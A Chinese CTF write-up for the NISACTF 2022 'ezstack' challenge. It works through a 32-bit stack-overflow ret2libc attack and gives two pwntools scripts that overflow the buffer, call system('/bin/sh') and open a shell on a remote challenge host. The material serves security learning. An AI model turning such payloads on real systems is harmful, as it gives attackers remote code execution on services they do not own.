[NISACTF 2022]ezstack

read栈溢出

这题的特殊地点是:

/bin/sh并不是函数的形式:起初的想法是构造一个函数

后来了解到在PWN中并不需用,如果只是单纯的更改附件也只是本地打通,而远程的依然不通,所以这里应该有特殊的方法,之后去了解到:

https://blog.csdn.net/Mr_Fmnwon/article/details/130897024

后来发现自己的想法有误,在pwn 中无需这样只需要在运行动态链接时进行构造传入就行(可参考上文中博主的思考方法):

思考ret2text——没有直接后门函数

思考ret2shellcode——bss段/可执行段不符合条件、栈上nx保护

思考ret2syscall——file查看文件,是动态链接,一般来说gadget非常少,不太适合

思考ret2libc——存在system的plt表/got表信息,且存在栈溢出漏洞,可行。

经过一番了解进行构造payload:

from pwn import *
elf = ELF('./pwn')
io = remote('node2.anna.nssctf.cn',28161)
padlength = 0x48 + 0x4
bin_sh = next(elf.search(b'/bin/sh'))
system = elf.sym['system']
success('[+]bin_sh=' + hex(bin_sh))
success('[+]system=' + hex(system))
shell = elf.sym['shell']
success('[+]shell=' + hex(shell))
payload = b'a' * padlength + p32(system) + p32(bin_sh) + p32(bin_sh)
io.sendline(payload)
io.interactive()

学习别人的exp(更加简洁):

32位程序,函数调用的参数都在栈上,我们保证执行system函数时,栈上第一是/bin/sh的地址
就可以
from pwn import *
# p = process('./pwn')
p =remote("1.14.71.254",28960)
system_addr = 0x08048390
bin_sh_addr = 0x0804A024
# payload = b'a'*72+b'b'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
payload = flat('a'*72,'b'*4,system_addr,0,bin_sh_addr)
p.sendlineafter('NISACTF\n',payload)
p.interactive()